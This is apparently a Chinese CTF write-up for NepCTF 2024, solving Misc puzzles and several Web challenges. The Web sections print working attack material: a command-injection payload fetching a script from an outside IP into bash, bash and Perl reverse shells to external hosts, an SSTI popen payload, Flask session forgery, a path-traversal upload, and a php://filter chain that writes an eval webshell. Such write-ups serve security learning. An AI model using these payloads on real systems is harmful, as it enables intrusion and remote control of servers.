2024NepCTF

Misc

NepMagic —— CheckIn

玩完就给flag了，老老实实的玩就行

3DNep

既然是3D，那得用3D文件打开

找个在线网站打开就好

image-20240826145943999

发现底部有个汉信码

中国物品编码APP扫码

image-20240826150146014

Nemophila

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import base64

print("这里有一个藏宝室，镇守着一个宝箱怪，当你说出正确的口令时，你也就快获得了这个屋子里最至高无上的宝物。")
print("提示：宝箱怪只会提示你口令正确与否，请你试试吧！")
flag = input('Turn in your guess: ')

if len(flag) !=48:
    print("长度不对！")
    exit(1)

if ord(flag.capitalize()[0]) != 83 or not flag[0].islower():
    print("Please try again!")
    exit(1)

if flag[-3:] != "ve}":
    print("Please try again!")
    exit(1)    

if flag.count(chr(95)) != 4:
    print("Please try again!")
    exit(1)

if base64.b64encode((flag[10:13]+flag[28:31]).encode('utf-8')).decode() != 'RnJpSGlt':
    print("Please try again!")
    exit(1)

if int(flag[24:26]) > 10 and int(flag[24:26]) < 20 and pow(int(flag[24:26]),2,5) != 0:
    print("好像有点不对！")
    exit(1)

number = flag[33] + flag[41] + flag[43:45]
if int(number) * 9_27 != 1028970 and not number.isnumeric():
    print("还是不对呢！")
    exit(1)

if flag[35:41].replace("e", "1") != "1t1rna":
    print("Please try again!")
    exit(1)

if flag[31:33].swapcase() != "ME":
    print("这不是我!")
    exit(1)

if list(map(len,flag.split("_"))) != [6, 12, 14, 7, 5] and list(map(len,flag.split("&"))) != [17, 9, 20]:
    print("换个顺序！")
    exit(1)    

if ord(min(flag[:2].swapcase())) != 69:
    print("Please try again!")
    exit(1)    

if flag[2] + flag[4:6] != "cet4"[:3]:
    print("我不想考四级！")
    exit(1)

new=""
for i in flag[7:10] + flag[18] + flag[26]: new += chr(ord(i) + 1)
if new != "jt|Df":
    print("Please try again!")
    exit(1)    

if "SunR" in flag and "eren" in flag:
    print("好像对了！可以先去试试！")
    exit(1)

print("恭喜你~发现了上个世纪的秘密~快去向冒险家协会索要报酬吧！")

跟着脚本的条件一个一个对，还是很好对的，

最后拿到key

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secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

解压缩包，图片内容是乱码

image-20240826144818603

这种情况我先去异或看看

拿文件头去试试 89 50 4E 47

secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

75faadcc3280c489cbc96cddc5f8dddd

最终发现异或的key就是压缩包密码

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secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

异或得到一个新图片，修改宽高得到flag

image-20240826145746856

Web

NepRouter

在register页面发现有encrypted_id，且该页面是前端加密

将该页面前端download下来

手动将TEST改成NepNepIStheBestTeam

还有Type也改了，删了就行

image-20240825181424925

之后页面就会出现伪造后的id

image-20240825181141871

拿着这个id去发包即可，中间发现几个页面并没有什么变化，直到在8080端口

image-20240825181832400

之前是登录TEST登录会显示没认证，后面改了前面的id之后输入NepNepIStheBestTeam

会跳转到

image-20240825181946939

小框框存在命令执行的拼接

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/setrouter?ip_address=127.0.0.1;curl${IFS}http://101.34.80.152:8080/1.html|/bin/bash

服务器的1.html内容

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#!/bin/bash
/bin/bash -i >& /dev/tcp/140.143.143.130/9999 0>&1

反弹shell，第一个flag

image-20240825182133928

后面结合提示router里最明显的就是mysql了

image-20240825182204729

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mysql -u root  -p -h 127.0.0.1
show databases;
use TradeSecrets;
show tables;
select flag from flag;

这一点耗了我好长时间，他没回显，输那么多条命令就会先一下，很难受，还好最后出了

image-20240825182249294

NepDouble

文件名ssti，蛮新奇的

一开始已考虑到了文件内容，到了后来灵光乍现，文件名也是{{}}应该也有啊，果然

文件上传表单上传文件，

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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://neptune-58664.nepctf.lemonprefect.cn/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名：</label>
    <input type="file" name="tp_file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

直接上最后的payload

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{{''.__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__('popen')('cd ..;cat flag').read()}}

后面压缩成压缩包上传就好了

蹦蹦炸弹（boom_it）

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from flask import Flask, render_template, request, session, redirect, url_for
import threading
import random
import string
import datetime
import rsa
from werkzeug.utils import secure_filename
import os
import subprocess

(pubkey, privkey) = rsa.newkeys(2048)

app = Flask(__name__)
app.secret_key = "super_secret_key"



UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'admin' and password == users.get('admin', {}).get('password'):
            session['admin_logged_in'] = True
            return redirect(url_for('admin_dashboard'))
        else:
            return "Invalid credentials", 401
    return render_template('admin_login.html')

@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
    if not session.get('admin_logged_in'):
        return redirect(url_for('admin'))

    if request.method == 'POST':
        if 'file' in request.files:
            file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        return 'File uploaded successfully'

    cmd_output = ""
    if 'cmd' in request.args:
        if os.path.exists("lock.txt"):  # 检查当前目录下是否存在lock.txt
            cmd = request.args.get('cmd')
            try:
                cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
            except Exception as e:
                cmd_output = str(e)
        else:
            cmd_output = "lock.txt not found. Command execution not allowed."
    return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")


@app.route('/admin/logout')
def admin_logout():
    session.pop('admin_logged_in', None)
    return redirect(url_for('index'))

# Generate random users
def generate_random_users(n):
    users = {}
    for _ in range(n):
        username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        users[username] = {"password": password, "balance": 2000}
    return users

users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}

# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}

flag_price = 10000
flag = admin_password  # The flag is the password of the admin user
mutex = threading.Lock()


@app.route('/')
def index():
    if "username" in session:
        return render_template("index.html", logged_in=True, username=session["username"], balance=users[session["username"]]["balance"])
    return render_template("index.html", logged_in=False)

@app.route('/reset', methods=['GET'])
def reset():
    global users
    users = {}  # Clear all existing users
    users = generate_random_users(1000)
    users["HRP"] = {"password": "HRP", "balance": 6000}
    global admin_password
    admin_password={}
    global flag
    # Add an admin user with a random password
    admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
    flag=admin_password

    users["admin"] = {"password": admin_password, "balance": 0}
    
    return redirect(url_for('index'))


@app.route('/login', methods=["POST"])
def login():
    username = request.form.get("username")
    password = request.form.get("password")
    if username in users and users[username]["password"] == password:
        session["username"] = username
        return redirect(url_for('index'))
    return "Invalid credentials", 403

@app.route('/logout')
def logout():
    session.pop("username", None)
    return redirect(url_for('index'))


def log_transfer(sender, receiver, amount):
    def encrypt_data_with_rsa(data, pubkey):
        for _ in range(200):  # Encrypt the data multiple times
            encrypted_data = rsa.encrypt(data.encode(), pubkey)
        return encrypted_data.hex()

    timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')
    
    # Encrypt the amount and timestamp
    encrypted_amount = encrypt_data_with_rsa(str(amount), pubkey)
    encrypted_timestamp = encrypt_data_with_rsa(timestamp, pubkey)
    
    log_data = f"{encrypted_timestamp} - Transfer from {sender} to {receiver} of encrypted amount {encrypted_amount}\n"
    
    for _ in range(1): 
        log_data += f"Transaction initiated from device: {random.choice(['Mobile', 'Web', 'ATM', 'In-Branch Terminal'])}\n"
        log_data += f"Initiator IP address: {random.choice(['192.168.1.', '10.0.0.', '172.16.0.'])}{random.randint(1, 254)}\n"
        log_data += f"Initiator geolocation: Latitude {random.uniform(-90, 90):.6f}, Longitude {random.uniform(-180, 180):.6f}\n"
        log_data += f"Receiver's last login device: {random.choice(['Mobile', 'Web', 'ATM'])}\n"
        log_data += f"Associated fees: ${random.uniform(0.1, 3.0):.2f}\n"
        log_data += f"Remarks: {random.choice(['Regular transfer', 'Payment for invoice #'+str(random.randint(1000,9999)), 'Refund for transaction #'+str(random.randint(1000,9999))])}\n"
        log_data += "-"*50 + "\n"

    with open('transfer_log.txt', 'a') as f:
        f.write(log_data)




@app.route('/transfer', methods=["POST"])
def transfer():
    if "username" not in session:
        return "Not logged in", 403
    
    receivers = request.form.getlist("receiver")
    amount = int(request.form.get("amount"))
    if amount <0:
        return "Insufficient funds", 400
    logging_enabled = request.form.get("logs", "false").lower() == "true"
    
    if session["username"] in receivers:
        return "Cannot transfer to self", 400
    
    for receiver in receivers:
        if receiver not in users:
            return f"Invalid user {receiver}", 400
    
    total_amount = amount * len(receivers)
    if users[session["username"]]["balance"] >= total_amount:
        for receiver in receivers:
            if logging_enabled:
                log_transfer(session["username"], receiver, amount)
            mutex.acquire()
            users[session["username"]]["balance"] -= amount
            users[receiver]["balance"] += amount
            mutex.release()
        return redirect(url_for('index'))
    return "Insufficient funds", 400


@app.route('/buy_flag')
def buy_flag():
    if "username" not in session:
        return "Not logged in", 403

    if users[session["username"]]["balance"] >= flag_price:
        users[session["username"]]["balance"] -= flag_price
        return f"Here is your flag: {flag}"
    return "Insufficient funds", 400

@app.route('/get_users', methods=["GET"])
def get_users():
    num = int(request.args.get('num', 1000))
    selected_users = random.sample(list(users.keys()), num)
    return {"users": selected_users}

@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
    if username in users:
        return {"username": username, "balance": users[username]["balance"]}
    return "User not found", 404

@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
    if "username" not in session or session["username"] != "HRP":
        return "Permission denied", 403

    target_user = request.form.get("target_user")
    if target_user not in users:
        return "User not found", 404

    if users[target_user]["balance"] >= flag_price:
        users[target_user]["balance"] -= flag_price
        return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
    return f"User {target_user} does not have sufficient funds", 400


if __name__ == "__main__":
    app.run(host='0.0.0.0',debug=False)

附件发现弱密码

HRP/HRP

image-20240828231317444

通过代码审计发现，需要admin的账户超过10000购买flag才可以知道admin的密码

而不用要登录admin也可以买flag

审计发现HRP有6000

其他每个账户有2000

2个账户向admin转2000，hrp转6000就够了

image-20240828231557542

但是其他用户的账户密码你不知道，还都是随机的，但是代码里给了查看其他用户名密码的接口，直接访问就好了/get_users,

image-20240828231805415

image-20240828231941356

得到这么多，可以利用session伪造进行伪造用户，key是super_secret_key

image-20240828232243667

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python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6IkhSUCJ9.Zs8-9A.KhAna9JhrHOH7GMugR-5lomVFTg" -s super_secret_key
{'username': 'HRP'}

python3 flask_session_cookie_manager3.py  encode -s super_secret_key -t "{'username': 'dhOIVil4tHSrt52'}"
eyJ1c2VybmFtZSI6ImRoT0lWaWw0dEhTcnQ1MiJ9.Zs9AvQ.Wrz33zFXpSHCjPBKXtE9oYzRmfc

给admin送满之后，切换到HRP,只有HRP可以通过admin买flag

image-20240828232442100

拿到了admin的密码OaoMxEqRHYBR9g3

/admin去登录

登陆成功

image-20240828232822068

看源码有文件上传的操作，这些按钮点了都不行，但是做到这就没再做了，后面做double反应过来，可以写表单或者脚本。。。可当时半夜了不想做了，

传一个lock.txt就行

image-20240828234650194

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POST /admin/dashboard?cmd=ls HTTP/1.1
Host: neptune-53862.nepctf.lemonprefect.cn
Cookie: session=eyJhZG1pbl9sb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Zs9BsQ.cDLljRpynjWBwEg6KJM1rG6gHbM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------392949003424226965612303513408
Content-Length: 361
Origin: null
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close

-----------------------------392949003424226965612303513408
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

file
-----------------------------392949003424226965612303513408
Content-Disposition: form-data; name="file"; filename="../../lock.txt"
Content-Type: text/palin

-----------------------------392949003424226965612303513408--

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echo '#!/bin/bash' > start.sh
echo "perl -e 'use Socket;\$i=\"101.34.80.152\";\$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" >> start.sh

数据占用打崩，让服务重启反弹shell

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nc 127.0.0.1 8888 < /etc/passwd

PHP_MASTER!!

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 <?php
highlight_file( __FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
    public $key;
    public function readflag(){
        if($this->key=== "\0key\0"){
            $a = $_POST[1];
            $contents = file_get_contents($a);
            file_put_contents($a, $contents);
        }
    }
}

class B
{
    public $b;
    public function __tostring()
    {
        if(preg_match("/\[|\]/i", $_GET['nep'])){
            die("NONONO!!!");
        }
        $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
        echo $str;
        if ($str==='NepCTF]'){
            return ($this->b) ();
        }
    }
}
class C
{
    public $s;
    public $str;
    public function __construct($s)
    {
        $this->s = $s;
    }
    public function __destruct()
    {
        echo $this ->str;
    }
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

反序列化字符串逃逸加一些php特性，逃逸主要用到了就是\00和%00的替换

先构造出原本的pop链

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O:1:"C":2:{s:1:"s";N;s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}
";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}} 47个
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}

针对这一块，当时山警考过

每发送一个%f0abc，mb_strpos认为是4个字节，mb_substr认为是1个字节，相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节，mb_substr认为是1个字节，相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节，mb_substr认为是1个字节，相差1个字节

%9f可以造成字符串往后移动一位

%f0可以把字符串吞掉三位

image-20240829012308687竟然后面少了一个字符，前面多了一个字符，我们可以看到start和end的值为0和15

就是说mb_strpos这个函数在遇到%9f这个不可见字符时，会自动忽略，而mb_substr则不会忽略，导致截断的字符串往前移动了一个位置。

而对于%f0

image-20240829012331015

可以看到mb_strpos函数是正常当成一个字符识别，但是mb_substr就很神奇了，他会把%f0连着后面的三个字符当成一个字符来识别，所以可以看到这里明显是少了三个字符

利用这个特性来看此题

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function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
        echo $str;
        if ($str==='NepCTF]'){
            return ($this->b) ();
        }

要输出NepCTF

首先得有，所以nep要传Nep

字符串就变成了[welcome toNepCTF]

整个字符串一共18位 NepCTF]7位

可以用%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%f0%9f%9f

奇怪的是%f0好像有时候不管用

要配合其他字符或者足够多

比如这样的时候，应该吞6个但是不行

image-20240829013401417

上面是用phpinfo的方法，下面我们用预期解

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$a = new C('a');
$a->str = new B();
$a->str->b=array(0=>new A(),1=>"readflag");
O:1:"C":2:{s:1:"s";s:1:"a";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"\00key\00";}i:1;s:8:"readflag";}}}
";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"\00key\00";}i:1;s:8:"readflag";}}} 100位
100个%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}

";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";s:5:"\00key\00";}i:1;s:8:"readflag";}}} 
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}

然后配合filterchain写马

exp

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<?php
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4"; /*<?php @eval($_REQUEST['cmd']);?>*/
$conversions = array(
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
	'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
	'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
	'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
	'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=index.php";
echo $final_payload;
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php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv